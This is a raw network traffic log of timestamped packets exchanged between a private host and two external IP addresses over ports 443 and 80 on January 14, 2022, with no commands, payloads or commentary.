Jan 14, 2022 20:24:00.395981073 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396007061 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396014929 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396028042 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396039963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396083117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396095991 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396114111 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396166086 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396183014 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396199942 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396262884 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396274090 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396296978 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396305084 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396337986 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396351099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396364927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396374941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396385908 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396433115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396450043 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396480083 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396517038 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396560907 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396573067 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396594048 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396603107 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396626949 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396636963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396655083 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396661043 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396694899 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.396703959 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.396748066 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397135973 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397175074 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397186995 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397208929 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397209883 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397450924 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397703886 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397743940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397784948 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397797108 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.397835970 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.397844076 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.398216963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.398256063 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.398291111 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.398310900 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.398333073 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.398360968 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.398366928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.399476051 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.399513960 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.399565935 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.399588108 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.399605989 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.399653912 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.400264025 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.400300980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.400338888 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.400352955 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.400376081 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.400394917 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.420269012 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.420324087 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.420543909 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.420572996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.420686960 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.421803951 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.421844959 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.421972990 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.422038078 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.424241066 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.424272060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.424302101 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.424418926 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.424434900 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.424542904 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.424559116 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.424613953 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.424693108 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426203966 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426235914 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426371098 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426399946 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426419973 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426752090 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426803112 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426831007 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426856041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426879883 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426947117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.426964045 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.426989079 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.427083015 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.427100897 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.427125931 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.427149057 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.427201033 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.427216053 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.427324057 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.427405119 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.446343899 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.446374893 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.446463108 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.446499109 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.446516991 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.446561098 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.448163986 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.448183060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.448256016 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.448272943 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.448301077 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.448359966 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449150085 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449174881 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449229002 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449250937 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449268103 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449330091 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449506998 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449527979 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449568033 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449582100 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.449606895 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.449640036 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.451252937 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451280117 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451366901 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.451385021 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451495886 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.451754093 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451781988 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451817989 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.451832056 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.451849937 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.451881886 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452239990 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452260017 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452300072 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452315092 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452339888 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452377081 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452614069 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452634096 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452670097 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452749014 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.452761889 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.452840090 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.483205080 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.483247042 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.483350039 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488325119 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488348007 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488373995 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488384962 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488445044 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488460064 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488532066 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488544941 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488565922 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488583088 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488591909 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488610983 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488617897 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488622904 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488631010 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488677025 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488688946 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488714933 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488719940 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488729954 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488785982 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488797903 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488832951 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488841057 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.488897085 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.488918066 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.496058941 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.496206045 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.496227980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.496288061 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.496304035 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.497390985 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.497484922 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.497486115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.497545958 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.497576952 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.498130083 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498167992 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498245001 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.498270988 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498286009 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.498469114 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498505116 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498558044 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.498572111 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.498632908 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.499706984 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.499814987 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.499834061 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.499931097 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.545717955 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.545744896 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.545883894 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550578117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550600052 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550626040 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550638914 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550730944 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550748110 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550781012 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550801992 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550827980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550873995 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550894022 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550914049 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550923109 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550936937 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.550944090 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.550951958 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551016092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551031113 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551058054 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551079988 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551100016 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551119089 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551160097 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551197052 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551644087 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551670074 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551681995 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551758051 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551779032 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551810980 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.551825047 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.551898956 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.593374968 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.608618021 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.608659029 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.608741999 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.608757973 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.608764887 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.608844042 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.614614964 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.614629030 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614650011 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614696980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614721060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614769936 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.614785910 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614806890 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614851952 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.614872932 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614895105 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.614938021 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.614949942 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615011930 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.615024090 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615041971 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615096092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.615107059 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615137100 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615194082 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.615205050 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615225077 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615262985 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.615276098 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.615324020 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.615398884 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.676297903 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.676336050 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.676438093 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.679227114 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.679244041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.679265976 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.679280996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.679331064 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.679387093 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.748111010 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.751629114 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.793227911 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.793279886 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.793297052 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.793312073 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:01.893902063 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:01.911292076 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:01.913302898 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:01.913424015 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:01.913500071 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:01.930723906 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:01.930768013 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.035737038 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.035763025 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.036369085 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.037471056 CET	49886	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.055069923 CET	80	49886	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.064898014 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.084287882 CET	80	49887	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.085689068 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.088404894 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.088428974 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.105643988 CET	80	49887	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.205981016 CET	80	49887	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.206007957 CET	80	49887	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.206120014 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.206546068 CET	49887	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.224333048 CET	80	49887	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.235743999 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.258739948 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.258896112 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.259023905 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.318038940 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434575081 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434639931 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434683084 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434721947 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434757948 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434767962 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.434796095 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434834957 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434871912 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434907913 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.434937000 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.434943914 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.435097933 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.452141047 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.473962069 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474006891 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474046946 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474072933 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474087954 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474127054 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474138021 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474169016 CET	80	49889	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:02.474180937 CET	49889	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:02.474210024 CET	80	49889	8.209.70.0	192.168.2.3
